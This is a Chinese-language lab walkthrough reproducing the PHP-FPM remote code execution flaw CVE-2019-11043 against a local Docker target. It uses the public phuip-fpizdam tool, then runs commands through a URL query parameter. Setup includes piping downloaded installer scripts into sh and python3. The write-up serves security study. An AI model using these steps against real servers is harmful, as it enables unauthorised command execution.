写在前边 利用条件比较苛刻,各位看官看一下就好了
利用条件
复现环境
ubuntu:Linux kk-machine 4.13.0-36-generic #40~16.04.1-Ubuntu SMP Fri Feb 16 23:25:58 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
go:go version go1.13.3 linux/amd64
go 环境安装
go 的安装过程还是费了一点时间的,主要是之前只是简单的使用为主
下载源码安装包
cd /opt
wget https://dl.google.com/go/go1.13.3.linux-amd64.tar.gz
tar zxvf go1.13.3.linux-amd64.tar.gz
配置go 环境变量
export GOROOT=/opt/go
export GOPATH=/home/kk/work
export PATH=$PATH:$GOROOT/bin:$GOPATH/bin
新建go 工作目录
mkdir -p /home/kk/work
docker 安装
# Install pip
curl -s https://bootstrap.pypa.io/get-pip.py | python3
# Install the latest version docker
curl -s https://get.docker.com/ | sh 【-s 代表silent 静默模式,建议不要加上】
# Run docker service
service docker start
# Install docker compose
pip install docker-compose
漏洞复现过程
下载攻击脚本
go get github.com/neex/phuip-fpizdam # 默认下载之后会保存到前面配置的go 的工作目录
配置docker 靶机
git clone https://github.com/neex/phuip-fpizdam.git
cd reproducer/
docker build -t reproduce-cve-2019-11043 . # 注意后面有个点
docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043 # 运行靶机
靶机运行之后查看是否运行正常
靶机运行正常,利用poc 工具攻击靶机【验证服务器有漏洞的输出界面如下】
第二次重新运行脚本,脚本会一直向服务器发包,这时在浏览器打开靶机地址,直接执行命令即可(url如下要多试几次才可以)
http://192.168.124.141:8080/script.php?a=id
利用成功结果如图
复现完成
以上
BR